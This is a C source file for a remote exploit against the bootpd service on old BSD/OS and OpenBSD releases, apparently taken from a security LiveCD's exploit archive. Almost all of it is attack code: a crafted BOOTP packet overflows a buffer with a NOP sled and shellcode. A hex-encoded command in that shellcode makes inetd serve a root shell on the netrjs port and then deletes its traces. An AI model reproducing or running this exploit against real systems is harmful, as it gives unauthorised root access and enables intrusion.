home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / bsd / remote / obooptd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  6KB  |  199 lines

  1. // v0: remote bootpd sploit by humble - currently for openbsd 2.3
  2. /* v1: BSD/OS bootpd remote exploit example by stran9er */
  3. /* Greets to @!#$ADM crew! */
  4.  
  5. #include <stdio.h>
  6. #include <stdlib.h>
  7. #include <errno.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <netinet/in.h>
  11. #include <netdb.h>
  12. #include <sys/socket.h>
  13. #include <sys/wait.h>
  14. #include <unistd.h>
  15.  
  16. char bsdshell[] =
  17.   /*-5*/    "\xE8\0\0\0\0"        /* call  .+5       [2000]*/
  18.   /*00*/    "\x5E"            /* popl  %esi      [2000]*/
  19.   /*01*/    "\x8D\x5E\x3A"        /* leal  0x3a(%esi),%ebx */
  20.   /*04*/    "\x89\x5E\x2A"        /* movl  %ebx,0x2a(%esi) */
  21.   /*07*/    "\x83\xC3\x08"        /* addl  $0x8,%ebx [2000]*/
  22.   /*0A*/    "\x89\x5E\x2E"        /* movl  %ebx,0x2e(%esi) */
  23.   /*0D*/    "\x83\xC3\x03"        /* addl  $0x3,%ebx [2000]*/
  24.   /*10*/    "\x89\x5E\x32"        /* movl  %ebx,0x32(%esi) */
  25.   /*13*/    "\x83\xEB\x0B"        /* subl  $0xb,%ebx [2000]*/
  26.   /*16*/    "\x8D\x4E\x2A"        /* leal  0x2a(%esi),%ecx */
  27.   /*19*/    "\x89\xCA"        /* movl  %ecx,%edx [2000]*/
  28.   /*1B*/    "\x33\xC0"        /* xorl  %eax,%eax [2000]*/
  29.   /*1D*/    "\xB0\x3B"        /* movb  $0x3b,%al [2000]*/
  30.   /*1F*/    "\x52"            /* pushl %edx      [2000]*/
  31.   /*20*/    "\x51"            /* pushl %ecx      [2000]*/
  32.   /*21*/    "\x53"            /* pushl %ebx      [2000]*/
  33.   /*22*/    "\x50"            /* pushl %eax      [2000]*/
  34.   /*23*/    "\x9A\0\0\0\0\7\0"    /* lcall 0x0007:0x000000 */
  35.   /*2A*/    "arg0"
  36.   /*2E*/  "arg1"
  37.   /*32*/  "arg2\0\0\0\0"
  38.   /*3A*/    "/bin/sh\0"
  39.   /*42*/    "-c";
  40.  
  41. char argex[] =
  42.   "\x65\x63\x68\x6f\x20\x6e\x65\x74\x72\x6a\x73\x20\x73\x74\x72\x65"
  43.   "\x61\x6d\x20\x74\x63\x70\x20\x6e\x6f\x77\x61\x69\x74\x20\x72\x6f"
  44.   "\x6f\x74\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20\x73\x68\x3e\x2f\x74"
  45.   "\x6d\x70\x2f\x62\x3b\x2f\x75\x73\x72\x2f\x73\x62\x69\x6e\x2f\x69"
  46.   "\x6e\x65\x74\x64\x20\x2f\x74\x6d\x70\x2f\x62\x3b\x2f\x62\x69\x6e"
  47.   "\x2f\x72\x6d\x20\x2f\x74\x6d\x70\x2f\x62";
  48.  
  49. /* --------------------------------------------------------------------- */
  50. #define BUFFER_SIZE 51
  51. #define NOPLEN 30
  52.  
  53. struct arch
  54.   {
  55.     int   id;
  56.     char *name;
  57.     int   htype;
  58.     int   hlen;
  59.     int   addr;
  60.     char *shell;
  61.     int   shlen;
  62.   };
  63.  
  64. struct arch archlist[] =
  65.     {
  66.       /* arch| name         |htype|hlen  |address|shellcode|shlen   */
  67.       /* ----+--------------+-----+------+-------+---------+------- */
  68.       {1, "BSD/OS 3.0",    0x30, 0x78,  0xb070, bsdshell, sizeof(bsdshell)},
  69.       {2, "BSD/OS 2.1",    0x30, 0x78,  0xa070, bsdshell, sizeof(bsdshell)},
  70.       {3, "Openbsd 2.3",   61,   0x71,  0xc070, bsdshell, sizeof(bsdshell)},
  71.       {0, 0,0,0,0,0,0}  /*  ;-)  */
  72.     };
  73.  
  74. /* --------------------------------------------------------------------- */
  75. //bootpd stuff
  76. #define MYPORT  67
  77.  
  78. #define BOOTREQUEST       1
  79. #define BP_CHADDR_LEN    16
  80. #define BP_SNAME_LEN     64
  81. #define BP_FILE_LEN     128
  82. #define BP_VEND_LEN     500
  83.  
  84. struct bootp
  85.   {
  86.     unsigned char  bp_op;    /* packet opcode type */
  87.     unsigned char  bp_htype;    /* hardware addr type */
  88.     unsigned char  bp_hlen;    /* hardware addr length */
  89.     unsigned char  bp_hops;    /* gateway hops */
  90.     unsigned int   bp_xid;    /* transaction ID */
  91.     unsigned short bp_secs;    /* seconds since boot began */
  92.     unsigned short bp_flags;    /* RFC1532 broadcast, etc. */
  93.     struct in_addr bp_ciaddr;    /* client IP address */
  94.     struct in_addr bp_yiaddr;    /* 'your' IP address */
  95.     struct in_addr bp_siaddr;    /* server IP address */
  96.     struct in_addr bp_giaddr;    /* gateway IP address */
  97.     unsigned char  bp_chaddr[BP_CHADDR_LEN];    /* client hardware address */
  98.     char           bp_sname[BP_SNAME_LEN];    /* server host name */
  99.     char           bp_file[BP_FILE_LEN];    /* boot file name */
  100.     unsigned char  bp_vend[BP_VEND_LEN];    /* vendor-specific area */
  101.     /* note that bp_vend can be longer, extending to end of packet. */
  102.   };
  103. /* --------------------------------------------------------------------- */
  104.  
  105. int
  106. main (int argc, char *argv[])
  107. {
  108.   int sockfd;
  109.   struct sockaddr_in their_addr;
  110.   struct sockaddr_in ours;
  111.   struct hostent *he;
  112.   int numbytes, i, t, c, o;
  113.   struct bootp evil;
  114.   char *overflow, *p;
  115.   int arch = -1;
  116.   unsigned long *adr;
  117.   unsigned char cat[]="da";
  118.  
  119.   fprintf (stderr, "OpenBSD/BSDi bootpd exploit example by humble, stran9er\n\n");
  120.   if (argc != 3)
  121.     {
  122.       fprintf (stderr, "Usage: %s architecture hostname\n", argv[0]);
  123.       fprintf (stderr, "Avaiable architectures:\n");
  124.       i = -1;
  125.       while (archlist[++i].id)
  126.         fprintf (stderr, "   %d: %s\n", archlist[i].id, archlist[i].name);
  127.       exit (1);
  128.     }
  129.  
  130.   for (i = 0; archlist[i].id; i++)
  131.     if (archlist[i].id == atoi(argv[1])) arch = i;
  132.  
  133.   if (arch < 0)
  134.     {
  135.       fprintf (stderr, "Invalid architecture.\n");
  136.       exit (1);
  137.     }
  138.  
  139.   if ((he = gethostbyname (argv[2])) == NULL)
  140.     {
  141.       herror ("gethostbyname");
  142.       exit (1);
  143.     }
  144.  
  145.   if ((sockfd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
  146.     {
  147.       perror ("socket");
  148.       exit (1);
  149.     }
  150.  
  151.   their_addr.sin_family = AF_INET;
  152.   their_addr.sin_port = htons (MYPORT);
  153.   their_addr.sin_addr = *((struct in_addr *) he->h_addr);
  154.   bzero ((char *) (&(their_addr.sin_zero)), 8);
  155.  
  156.   bzero ((char *) (&ours), sizeof (struct sockaddr));
  157.   ours.sin_family = AF_INET;
  158.   ours.sin_port = htons (MYPORT);
  159.   bzero ((char *) (&(ours.sin_zero)), 8);
  160.  
  161.   bind (sockfd, (struct sockaddr *) &ours, sizeof (struct sockaddr));
  162.  
  163.   bzero ((char *) (&evil), sizeof (struct bootp));
  164.  
  165.   evil.bp_op = BOOTREQUEST;
  166.   evil.bp_htype = archlist[arch].htype;
  167.   evil.bp_hlen  = archlist[arch].hlen;
  168.  
  169.   p = (char *) (&(evil.bp_chaddr));
  170.  
  171.   memset (p, 0, BUFFER_SIZE);
  172.  
  173.   p += BUFFER_SIZE;
  174.   adr = (long *) p;
  175.   *adr++ = archlist[arch].addr;
  176.   *adr++ = archlist[arch].addr;
  177.  
  178.   p = (char *) adr;
  179.   for (i = 0; i < NOPLEN; i++) *p++ = 0x90;
  180.   for (i = 0; i < archlist[arch].shlen; i++) *p++ = archlist[arch].shell[i];
  181.  
  182.   strcpy (p, argex);
  183.  
  184.   printf ("Using settings for %s.\n", archlist[arch].name);
  185.   printf ("Htype: %d, address: 0x%X\n", archlist[arch].htype,
  186.           archlist[arch].addr);
  187.   printf ("Sending packet... ");
  188.   if ((numbytes = sendto (sockfd, &evil, sizeof (struct bootp), 0, \
  189.                           (struct sockaddr *) &their_addr, sizeof (struct sockaddr))) == -1)
  190.     {
  191.       perror ("sendto");
  192.       exit (1);
  193.     }
  194.   printf ("Packet sent.\n");
  195.   close (sockfd);
  196. }
  197.  
  198. /* today 14 Sep 1998 */
  199. /*                    www.hack.co.za              [2000]*/